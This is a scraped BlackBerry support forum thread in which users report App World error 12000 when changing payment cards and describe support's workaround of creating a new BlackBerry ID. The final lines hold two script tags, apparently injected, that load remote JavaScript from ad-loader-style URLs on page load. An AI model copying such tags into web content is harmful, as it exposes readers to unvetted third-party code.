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New Contributor
Posts: 4
Registered: ‎09-21-2011
My Device: Blackberry Playbook
My Carrier: none

Error [12000] please help

i need to change my card details but it's always like this
*We are unable to process your card at this time, please verify the information you have entered is correct.[12000]
how can i purchase new apps now need help =(
New Contributor
Posts: 9
Registered: ‎04-15-2012
My Device: 9700
My Carrier: China Mobile

Re: Error [12000] please help

Me too.  I am from China, my card failed from 2nd payment, error 12000.  I changed to paypal, just got 8450.  What's wrong?

Retired
Posts: 4,285
Registered: ‎07-26-2010
My Device: Q10/Q5/Z10/9930/9860/9310

Re: Error [12000] please help

Hey alchrayze,

Welcome to the BlackBerry Support Community Forums.

 

I can definitely help you out.

 

This KB article will explain why you're receiving that error: www.blackberry.com/btsc/KB28978

 

Let me know if you have anymore questions.

 

Cheers.


-ViciousFerret


 


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New Contributor
Posts: 4
Registered: ‎09-21-2011
My Device: Blackberry Playbook
My Carrier: none

Re: Error [12000] please help

aw i don't have paypal or other payment for it they changed it already can't buy apps for my playbook and phone i guess.. thanks Smiley Sad
New Contributor
Posts: 9
Registered: ‎04-15-2012
My Device: 9700
My Carrier: China Mobile

Re: Error [12000] please help

I filled in the form & submitted this trouble to BB CS team. Different person contacted me in recent days.  Till now, no great progress in the case.  But I think it is good that RIM is serious to the customer's complain.

New Member
Posts: 1
Registered: ‎07-07-2012
My Device: Blackberry 9780
My Carrier: Globe

Re: Error [12000] please help

Hi!

 

I have the same problem. I was trying to cange my credit card info but getting an error 120000. i was able to use the card on the Android Market but wht cant I use it or change it on my BB Appworld. The one registered is no longer in use. Heeeelp!

New Contributor
Posts: 9
Registered: ‎04-15-2012
My Device: 9700
My Carrier: China Mobile

Re: Error [12000] please help


BB CS team finally suttested me to apply another BB ID.  It so strange, the last BB ID accepts my credit card which is rejected by the other two BB IDs.  To be honest, I don't think they found the solution.  But at the moment, the payment could get through, I just use this BB ID as it is.  Some day, it will like former two BB IDs.

Contributor
Posts: 23
Registered: ‎02-04-2012
My Device: Q10
My Carrier: Sprint

Re: Error [12000] please help

I am an American in China using a VPN to the US and still have this problem.  I don't have other BB IDs to use.  Is there any more progress on this?

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>